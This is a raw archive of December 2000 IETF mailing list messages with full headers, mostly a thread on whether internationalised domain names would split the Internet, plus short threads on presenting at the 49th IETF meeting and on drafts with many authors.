(8.9.1a/8.9.1a) with SMTP id RAA25260 for ; Sun, 3 Dec 2000 17:16:03 -0500 (EST) Received: from dcrocker.dcrocker.net ([63.112.84.142]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id OAA26975; Sun, 3 Dec 2000 14:14:28 -0800 Message-Id: <5.0.1.4.2.20001203171451.02b729e0@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Sun, 03 Dec 2000 17:15:59 -0500 To: "Kimon A. Andreou" From: Dave Crocker Subject: Re: Will Language Wars Balkanize the Web? Cc: In-Reply-To: <007901c05d67$e657c3e0$75330a0a@spss.com> References: <5.0.1.4.2.20001203135539.02b06ec0@joy.songbird.com> <3A2AA7B1.99277FF2@nbn.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org Kimon gets a A. Betsy gets an F. d/ At 03:30 PM 12/3/00 -0500, Kimon A. Andreou wrote: >But isn't the Internet a medium of communication as is the Post and the >telephone? >Therefore, shouldn't it support communication between any two points, >wherever they may be or however they're called? > >Kimon >----- Original Message ----- >From: "Betsy Brennan" > > But the Internet is not the postal system nor the phone system. We already > > have the postal system and the phone system. T =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Sun Dec 3 19:10:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA27226 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 19:10:02 -0500 (EST) Received: from mighty.grot.org (mighty.grot.org [216.15.97.5]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA25271 for ; Sun, 3 Dec 2000 19:00:52 -0500 (EST) Received: by mighty.grot.org (Postfix, from userid 998) id 5F3765D43; Sun, 3 Dec 2000 16:00:53 -0800 (PST) Date: Sun, 3 Dec 2000 16:00:53 -0800 From: lists To: ietf@ietf.org Subject: Re: Will Language Wars Balkanize the Web? Message-ID: <20001203160053.Z33235@mighty.grot.org> Reply-To: lists@LISTS.GROT.ORG References: <5.0.1.4.2.20001203135539.02b06ec0@joy.songbird.com> <3A2AA7B1.99277FF2@nbn.net> <20001203132037.Y33235@mighty.grot.org> <00fa01c05d73$ee9c0b40$75330a0a@spss.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <00fa01c05d73$ee9c0b40$75330a0a@spss.com>; from kimon@mindless.com on Sun, Dec 03, 2000 at 04:56:38PM -0500 Sender: lists@grot.org X-Loop: ietf@ietf.org On Sun, Dec 03, 2000 at 04:56:38PM -0500, Kimon A. Andreou wrote: > > > You can't address a letter to someone in Berkeley, USA in nagari or > amharic > > characters and expect it to reach. However you can address a letter to > someone > > in Addis Ababa, Ethiopia in ASCII characters with a poor-phonetic > > approximation and expect it to reach (choice of locales based on > experience). > > > > > > > Adi > > But don't packets get routed using IP addresses (i.e. numbers) ? er, wrong layer. Although I'm as good at remembering IP addresses as phone numbers, you'll have a hard time convincing others to give up DNS. "I'm sorry, I'm not going to be able to figure out how to type that email address on my keyboard, could you please send me a message, and I'll just hit reply". Adi From owner-ietf-outbound Sun Dec 3 19:20:21 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA00451 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 19:20:03 -0500 (EST) Received: from rip.psg.com (exim@rip.psg.com [147.28.0.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA28600 for ; Sun, 3 Dec 2000 19:14:14 -0500 (EST) Received: from randy by rip.psg.com with local (Exim 3.16 #1) id 142jGh-000Lpw-00; Sun, 03 Dec 2000 16:14:07 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: lists Cc: ietf@ietf.org Subject: Re: Will Language Wars Balkanize the Web? References: <5.0.1.4.2.20001203135539.02b06ec0@joy.songbird.com> <3A2AA7B1.99277FF2@nbn.net> <20001203132037.Y33235@mighty.grot.org> <00fa01c05d73$ee9c0b40$75330a0a@spss.com> <20001203160053.Z33235@mighty.grot.org> Message-Id: Date: Sun, 03 Dec 2000 16:14:07 -0800 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > "I'm sorry, I'm not going to be able to figure out how to type that email > address on my keyboard, could you please send me a message, and I'll just hit > reply". if the app-presentation -> internal coding -> dns request mapping is not one:one and reversable on the other end, even this is not sure to work. randy From owner-ietf-outbound Sun Dec 3 20:00:28 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA13930 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 20:00:02 -0500 (EST) Received: from mail9.wlv.netzero.net (mail9.wlv.netzero.net [209.247.163.66]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA11353 for ; Sun, 3 Dec 2000 19:52:58 -0500 (EST) Received: (qmail 9973 invoked from network); 4 Dec 2000 00:52:49 -0000 Received: from ip139.miami29.fl.pub-ip.psi.net (HELO kimon) (38.37.81.139) by mail9.wlv.netzero.net with SMTP; 4 Dec 2000 00:52:49 -0000 Message-ID: <002c01c05d8c$c02308e0$75330a0a@spss.com> From: "Kimon A. Andreou" To: , References: <5.0.1.4.2.20001203135539.02b06ec0@joy.songbird.com> <3A2AA7B1.99277FF2@nbn.net> <20001203132037.Y33235@mighty.grot.org> <00fa01c05d73$ee9c0b40$75330a0a@spss.com> <20001203160053.Z33235@mighty.grot.org> Subject: Re: Will Language Wars Balkanize the Web? Date: Sun, 3 Dec 2000 19:54:24 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit ----- Original Message ----- From: "lists" To: Sent: Sunday, December 03, 2000 19:00 Subject: Re: Will Language Wars Balkanize the Web? > > > "I'm sorry, I'm not going to be able to figure out how to type that email > address on my keyboard, could you please send me a message, and I'll just hit > reply". > > Adi > Good point. I didn't think about e-mail addresses. Kimon _____NetZero Free Internet Access and Email______ http://www.netzero.net/download/index.html From owner-ietf-outbound Sun Dec 3 21:50:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA14962 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 21:50:02 -0500 (EST) Received: from m018.com ([210.112.10.141]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA11969 for ; Sun, 3 Dec 2000 21:40:21 -0500 (EST) Received: from ns ([211.113.87.7]) by m018.com with Microsoft SMTPSVC(5.5.1877.197.19); Mon, 4 Dec 2000 11:36:39 +0900 Message-ID: <000d01c05d9b$a247c360$d012060a@hansol.co.kr> From: "Lee, Jiwoong" To: Subject: [Q] Presentation at 49th meeting Date: Mon, 4 Dec 2000 11:40:56 +0900 MIME-Version: 1.0 Content-Type: text/plain; charset="ks_c_5601-1987" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Neophyte speaker question: Is a piece of 2HD disk enough to give a presentation at 49th IETF meeting? Then, when shall I 'put' it into a laptop? Many thanks Jiwoong From owner-ietf-outbound Mon Dec 4 00:50:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA11966 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 00:50:03 -0500 (EST) Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA11478 for ; Mon, 4 Dec 2000 00:47:41 -0500 (EST) Received: from HALVESTR-8KCDT.alvestrand.no (localhost [127.0.0.1]) by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id GAA31203; Mon, 4 Dec 2000 06:47:22 +0100 Message-Id: <4.3.2.7.2.20001204063228.051fcdc0@127.0.0.1> X-Sender: hta@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 04 Dec 2000 06:34:04 +0100 To: "Lee, Jiwoong" , From: Harald Alvestrand Subject: Re: [Q] Presentation at 49th meeting In-Reply-To: <000d01c05d9b$a247c360$d012060a@hansol.co.kr> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 11:40 04/12/2000 +0900, Lee, Jiwoong wrote: >Neophyte speaker question: > >Is a piece of 2HD disk enough to give a presentation at 49th IETF meeting? >Then, when shall I 'put' it into a laptop? recent meetings, the secretariat (or the host) has provided a lot of projectors. So far, they don't provide laptops. mandatory rant against spending time on presentations rather than discussions at WG meetings deleted. -- Harald Tveit Alvestrand, alvestrand@cisco.com +47 41 44 29 94 Personal email: Harald@Alvestrand.no From owner-ietf-outbound Mon Dec 4 03:51:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id DAA18767 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 03:50:02 -0500 (EST) Received: from birch.ripe.net (birch.ripe.net [193.0.1.96]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA12269 for ; Mon, 4 Dec 2000 03:29:49 -0500 (EST) Received: from x49.ripe.net (x49.ripe.net [193.0.1.49]) by birch.ripe.net (8.8.8/8.8.8) with ESMTP id JAA05348; Mon, 4 Dec 2000 09:29:12 +0100 (CET) Received: from localhost (henk@localhost) by x49.ripe.net (8.8.8/8.8.5) with ESMTP id JAA12247; Mon, 4 Dec 2000 09:29:12 +0100 (CET) X-Authentication-Warning: x49.ripe.net: henk owned process doing -bs Date: Mon, 4 Dec 2000 09:29:12 +0100 (CET) From: "Henk Uijterwaal (RIPE-NCC)" To: Harald Alvestrand cc: "Lee, Jiwoong" , ietf@ietf.org Subject: Re: [Q] Presentation at 49th meeting In-Reply-To: <4.3.2.7.2.20001204063228.051fcdc0@127.0.0.1> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Mon, 4 Dec 2000, Harald Alvestrand wrote: > At 11:40 04/12/2000 +0900, Lee, Jiwoong wrote: > >Neophyte speaker question: > > > >Is a piece of 2HD disk enough to give a presentation at 49th IETF meeting? > >Then, when shall I 'put' it into a laptop? > > recent meetings, the secretariat (or the host) has provided a lot of > projectors. So far, they don't provide laptops. OTOH, there are at least a few dozen people with laptops in every meeting, so if you only have a disk, I'm sure that somebody can help you out. Henk ------------------------------------------------------------------------------ Henk Uijterwaal Email: henk.uijterwaal@ripe.net RIPE Network Coordination Centre WWW: http://www.ripe.net/home/henk Singel 258 Phone: +31.20.535-4414, Fax -4445 1016 AB Amsterdam Home: +31.20.4195305 The Netherlands Mobile: +31.6.55861746 ------------------------------------------------------------------------------ A man can take a train and never reach his destination. (Kerouac, well before RFC2780). From owner-ietf-outbound Mon Dec 4 04:00:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA22046 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 04:00:04 -0500 (EST) Received: from sh.w3.mag.keio.ac.jp (sh.w3.mag.keio.ac.jp [133.27.194.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA13548 for ; Mon, 4 Dec 2000 03:33:47 -0500 (EST) Received: from enoshima (dhcp-194-237.mag.keio.ac.jp [133.27.194.237]) by sh.w3.mag.keio.ac.jp (8.9.3/3.7W) with ESMTP id RAA23792; Mon, 4 Dec 2000 17:34:00 +0900 (JST) Message-Id: <4.2.0.58.J.20001204172157.033c3970@sh.w3.mag.keio.ac.jp> X-Sender: duerst@sh.w3.mag.keio.ac.jp X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58.J Date: Mon, 04 Dec 2000 17:33:48 +0900 To: Graham Klyne , ietf@ietf.org From: "Martin J. Duerst" Subject: Re: Will Language Wars Balkanize the Web? In-Reply-To: <4.3.2.7.2.20001203074928.00b7ec90@pop.dial.pipex.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 00/12/03 08:03 +0000, Graham Klyne wrote: >There's a news story at: > > http://www.acm.org/technews/articles/2000-2/1201f.html#item10 > >under the heading "Will Language Wars Balkanize the Web?" > >Leaving aside the issues of competing registries, Sorry, but I think that's the main topic of the article (as far as I can deduce from the abstract), and it is also the main threat to create balkanization. The problem currently is not that Chinese domain names may create a disconnect between the "Chinese Internet" and some other part of the Internet, but that there are various proposals and actors that are working on Chinese domain names, and that all of them act prematurely (i.e. before there is an IETF spec) and with side interests that affect things negatively. >touched upon in that article, I had been wondering with the formation of >IDN WG how I18N would affect cross-character-type-boundary Internet activities. > >I guess one of the first questions should be; "Is some partitioning of >the Internet community such a bad thing?". Why should it matter if, say, >Chinese-based domains aimed at Chinese audiences are not meaningfully >accessible to non-Chinese Internet users? Reasonable question indeed. If the content is Chinese, does it hurt if the address is also Chinese? There are cases where it indeed hurts (such as when you have fonts to display Chinese on your system, but nothing to input Chinese, as may be the case if you work off an English OS of some kind). However, in general and for the majority of actual users (i.e. for the Chinese users reading Chinese web pages,...), having Chinese domain names is actually a big advantage. They are easier to memorize, easier to guess, easier to identify with, and so on. >At a purely technological level, the priority ascribed to the end-to-end >architecture of the Internet has underpinned and presumed >non-discriminatory any-to-any communication. I wonder if this is a >reasonable expectation at the social level of Internet use. At the *linguistic* level, there are certain rather hard boundaries based on the difficulty of learning foreign languages and on the slow advances of machine translation. At the social level, boundaries should be kept as low as possible. Regards, Martin. From owner-ietf-outbound Mon Dec 4 04:10:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA25493 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 04:10:03 -0500 (EST) Received: from sh.w3.mag.keio.ac.jp (sh.w3.mag.keio.ac.jp [133.27.194.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA13583 for ; Mon, 4 Dec 2000 03:33:51 -0500 (EST) Received: from enoshima (dhcp-194-237.mag.keio.ac.jp [133.27.194.237]) by sh.w3.mag.keio.ac.jp (8.9.3/3.7W) with ESMTP id RAA23789; Mon, 4 Dec 2000 17:34:00 +0900 (JST) Message-Id: <4.2.0.58.J.20001204170631.0340fce0@sh.w3.mag.keio.ac.jp> X-Sender: duerst@sh.w3.mag.keio.ac.jp X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58.J Date: Mon, 04 Dec 2000 17:20:35 +0900 To: Dave Crocker , Graham Klyne From: "Martin J. Duerst" Subject: Re: Will Language Wars Balkanize the Web? Cc: ietf@ietf.org In-Reply-To: <5.0.1.4.2.20001203135539.02b06ec0@joy.songbird.com> References: <4.3.2.7.2.20001203074928.00b7ec90@pop.dial.pipex.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 00/12/03 13:57 -0500, Dave Crocker wrote: >Would it be such a bad thing to be unable to postal mail a letter or >package to anywhere in the world? Of course it would be very bad. But it is usual now to send mail e.g. from Japan to Japan with an address without any Latin letters. It is also possible to send mail e.g. from the US or Europe to e.g. Japan, with all but the country name in ideographs. So the postal system is already now much closer to multilingual domain names than to ASCII-only domain names. It is also possible, as far as I understand, to send mail with an address only written in Latin letters, to any country in the world. The multilingual domain name solution should of course provide a way (at least one way) to do this. Please also note that Japanese name cards usually have two sides, one in Japanese and one in Latin. Now, the email addresses on both sides are the same, but in the future, you would just use the one on the Latin side if you cannot type Japanese. Regards, Martin. From owner-ietf-outbound Mon Dec 4 08:30:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id IAA17314 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 08:30:02 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA13297 for ; Mon, 4 Dec 2000 08:17:30 -0500 (EST) Received: from dcrocker.dcrocker.net ([63.112.84.181]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id FAA05748; Mon, 4 Dec 2000 05:17:18 -0800 Message-Id: <5.0.1.4.2.20001204080352.03528790@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Mon, 04 Dec 2000 08:15:42 -0500 To: "Martin J. Duerst" From: Dave Crocker Subject: Re: Will Language Wars Balkanize the Web? Cc: Graham Klyne , ietf@ietf.org In-Reply-To: <4.2.0.58.J.20001204170631.0340fce0@sh.w3.mag.keio.ac.jp> References: <5.0.1.4.2.20001203135539.02b06ec0@joy.songbird.com> <4.3.2.7.2.20001203074928.00b7ec90@pop.dial.pipex.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org Thank you. I was hoping someone would point out the support for parallel operation so we could go further down that path. As you note, it seems to be the closest to providing local/global support already. That means postal gives us: 1. Global support for a common "character set" 2. Global support for a carefully mixed character set -- though really it is just a partitioning between the global field and the local field 3. Local support for a local character set. (the support goes beyond character set, but let's leave it at that if that's ok.) An immediate problem with comparing to postal is that it somewhat correlates with the path a letter will take, so that the incremental interpretation can be done by groups with different language skill-sets. The DNS does not have that flexibility and the domain name interpretation is not part of the transfer sequence of the data. Schemes that put an ACE-like field into a .com might be considered to be like #2, above, by really they are not. The whole string is still global. Frankly this leaves me viewing the postal example as pretty unhelpful for finding a solution to the DNS requirement. On the other hand, this thread was triggered by Graham's question about the negative impact of partitioning. The postal example would seem to show that the effect is not so bad. Except I would claim that it is not partitioning. Note that an address always has a global representation, in addition to a possibly different local one. Perhaps that can reconciled as easily as claiming that any 'local' domain name must also have a global form? (But, somehow, the word "scaling" gets in the way of believing that.) d/ At 05:20 PM 12/4/00 +0900, Martin J. Duerst wrote: >At 00/12/03 13:57 -0500, Dave Crocker wrote: >>Would it be such a bad thing to be unable to postal mail a letter or >>package to anywhere in the world? > >Of course it would be very bad. But it is usual now to send mail >e.g. from Japan to Japan with an address without any Latin letters. >It is also possible to send mail e.g. from the US or Europe to e.g. >Japan, with all but the country name in ideographs. > >So the postal system is already now much closer to multilingual >domain names than to ASCII-only domain names. > >It is also possible, as far as I understand, to send mail >with an address only written in Latin letters, to any country >in the world. The multilingual domain name solution should of >course provide a way (at least one way) to do this. =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Mon Dec 4 09:20:48 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA00586 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 09:20:03 -0500 (EST) Received: from gungnir.fnal.gov (gungnir.fnal.gov [131.225.80.1]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA24030 for ; Mon, 4 Dec 2000 08:56:30 -0500 (EST) Received: from gungnir.fnal.gov (localhost [127.0.0.1]) by gungnir.fnal.gov (8.9.1/8.9.1) with ESMTP id HAA25157 for ; Mon, 4 Dec 2000 07:56:32 -0600 (CST) Message-Id: <200012041356.HAA25157@gungnir.fnal.gov> To: ietf@ietf.org From: "Matt Crawford" Subject: Re: How many cooks? In-reply-to: Your message of Fri, 01 Dec 2000 21:43:41 EST. <200012020243.VAA45236@khavrinen.lcs.mit.edu> Date: Mon, 04 Dec 2000 07:56:31 -0600 Sender: crawdad@gungnir.fnal.gov X-Loop: ietf@ietf.org > Is the IETF now competing with scholarly journals in the race for > ``most authors on a single paper''? (No offense intended to the > parties listed above, but you'll pardon me if I get a little > uncomfortable with the idea of a 29-page document having 26 official > authors.) Relax. For perspective, look at some of the high energy physics papers that come out of THIS laboratory! From owner-ietf-outbound Mon Dec 4 09:40:26 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA07838 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 09:40:03 -0500 (EST) Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA25798 for ; Mon, 4 Dec 2000 09:03:14 -0500 (EST) From: Masataka Ohta Message-Id: <200012041359.WAA09029@necom830.hpcl.titech.ac.jp> Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1) id WAA09029; Mon, 4 Dec 2000 22:59:34 +0900 Subject: Re: Will Language Wars Balkanize the Web? In-Reply-To: <5.0.1.4.2.20001204080352.03528790@joy.songbird.com> from Dave Crocker at "Dec 4, 2000 08:15:42 am" To: Dave Crocker Date: Mon, 4 Dec 2000 22:59:33 +0859 () CC: "Martin J. Duerst" , Graham Klyne , ietf@ietf.org X-Mailer: ELM [version 2.4ME+ PL68 (25)] X-Loop: ietf@ietf.org Dave; > Thank you. I was hoping someone would point out the support for parallel > operation so we could go further down that path. As you note, it seems to > be the closest to providing local/global support already. Silly comparison. Efficient postal system works with numbers so called zip code. Postal address with various characters needs human intervention for complex matching and is similar not to DNS but to search engines. Masataka Ohta From owner-ietf-outbound Mon Dec 4 09:50:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA10520 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 09:50:04 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA29446 for ; Mon, 4 Dec 2000 09:16:16 -0500 (EST) Received: from dcrocker.dcrocker.net ([63.112.84.181]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id GAA06477; Mon, 4 Dec 2000 06:16:06 -0800 Message-Id: <5.0.1.4.2.20001204091536.02a95a10@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Mon, 04 Dec 2000 09:17:54 -0500 To: Masataka Ohta From: Dave Crocker Subject: Re: Will Language Wars Balkanize the Web? Cc: "Martin J. Duerst" , Graham Klyne , ietf@ietf.org In-Reply-To: <200012041359.WAA09029@necom830.hpcl.titech.ac.jp> References: <5.0.1.4.2.20001204080352.03528790@joy.songbird.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 10:59 PM 12/4/00 +0859, Masataka Ohta wrote: > > Thank you. I was hoping someone would point out the support for parallel > > operation so we could go further down that path. As you note, it seems to > > be the closest to providing local/global support already. > >Silly comparison. Thank you. We always seek to entertain. >Efficient postal system works with numbers so called zip code. Zip/postal code is not required. The example given was of country string in 'global' form and remainder in local. >Postal address with various characters needs human intervention for >complex matching and is similar not to DNS but to search engines. Machines frequently process the strings, but that is not relevant to the nature and use of the strings. They are addresses, pertaining to location. Search engines are for free-form keywords. Not the same at all. d/ =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Mon Dec 4 10:00:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA13787 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 10:00:03 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA05901 for ; Mon, 4 Dec 2000 09:34:39 -0500 (EST) Received: from mira-sjc5-4.cisco.com (mira-sjc5-4.cisco.com [171.71.163.21]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id GAA29685 for ; Mon, 4 Dec 2000 06:34:11 -0800 (PST) Received: from spandex (rtp-vpn-63.cisco.com [10.82.192.63]) by mira-sjc5-4.cisco.com (Mirapoint) with SMTP id ABQ01406; Mon, 4 Dec 2000 06:34:08 -0800 (PST) Message-ID: <015a01c05e18$85421360$d45904d1@cisco.com> From: "Melinda Shore" To: References: <200012041356.HAA25157@gungnir.fnal.gov> Subject: Re: How many cooks? Date: Mon, 4 Dec 2000 09:34:56 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit >From: Matt Crawford >To: >Sent: Monday, December 04, 2000 5:56 AM >Subject: Re: How many cooks? > > Is the IETF now competing with scholarly journals in the race for > > ``most authors on a single paper''? (No offense intended to the > > parties listed above, but you'll pardon me if I get a little > > uncomfortable with the idea of a 29-page document having 26 official > > authors.) > Relax. For perspective, look at some of the high energy physics > papers that come out of THIS laboratory! At least the drafts coming into the IETF don't show the same behavior as scientific papers, which is that title length directly correlates with the number of authors. Melinda From owner-ietf-outbound Mon Dec 4 10:10:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA17101 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 10:10:03 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA16328 for ; Mon, 4 Dec 2000 10:07:25 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha0/8.12.0.Alpha0) with ESMTP id eB4F7Mmv233146; Mon, 4 Dec 2000 10:07:22 -0500 Message-Id: <200012041507.eB4F7Mmv233146@black-ice.cc.vt.edu> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4+dev To: lists@LISTS.GROT.ORG Cc: ietf@ietf.org Subject: Re: Will Language Wars Balkanize the Web? In-Reply-To: Your message of "Sun, 03 Dec 2000 16:00:53 PST." <20001203160053.Z33235@mighty.grot.org> X-Url: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ <3A2AA7B1.99277FF2@nbn.net> <20001203132037.Y33235@mighty.grot.org> <00fa01c05d73$ee9c0b40$75330a0a@spss.com> <20001203160053.Z33235@mighty.grot.org> Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-1322737588P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Mon, 04 Dec 2000 10:07:22 -0500 X-Loop: ietf@ietf.org --==_Exmh_-1322737588P Content-Type: text/plain; charset=us-ascii On Sun, 03 Dec 2000 16:00:53 PST, lists said: > "I'm sorry, I'm not going to be able to figure out how to type that email > address on my keyboard, could you please send me a message, and I'll just hit > reply". Wasn't there a Dilbert cartoon regarding sending a page to a pager number containing a caret? ;) -- Valdis Kletnieks Operating Systems Analyst Virginia Tech --==_Exmh_-1322737588P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 Comment: Exmh version 2.2 06/16/2000 iQA/AwUBOiuzKXAt5Vm009ewEQIQGACfcnWEtg1ESUG8TB7yNKGgquQJhjkAoJPr JM0h7uORjj8FIMrc0Iv3jR1b =WWiR -----END PGP SIGNATURE----- --==_Exmh_-1322737588P-- From owner-ietf-outbound Mon Dec 4 10:20:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA19791 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 10:20:03 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA18692 for ; Mon, 4 Dec 2000 10:15:21 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha0/8.12.0.Alpha0) with ESMTP id eB4FFKmv233186; Mon, 4 Dec 2000 10:15:21 -0500 Message-Id: <200012041515.eB4FFKmv233186@black-ice.cc.vt.edu> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4+dev To: vint cerf Cc: Graham Klyne , ietf@ietf.org Subject: Re: Will Language Wars Balkanize the Web? In-Reply-To: Your message of "Sun, 03 Dec 2000 13:17:45 EST." <5.0.2.1.2.20001203130428.0266d658@shoe.reston.mci.net> X-Url: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-1246937164P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Mon, 04 Dec 2000 10:15:20 -0500 X-Loop: ietf@ietf.org --==_Exmh_-1246937164P Content-Type: text/plain; charset=us-ascii On Sun, 03 Dec 2000 13:17:45 EST, vint cerf said: > to incorporate and refer to domain names. The IA4 alphabet includes essentially > just the letters A-Z, numbers 0-9 and the "-" (dash). This is the limit of what > is allowed in domain names today. The sad part is, of course, that RFC1035, section 3.1 specifically says that any octet value is legal. But I guess we're stuck with the IA4 charset.... ;( -- Valdis Kletnieks Operating Systems Analyst Virginia Tech --==_Exmh_-1246937164P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 Comment: 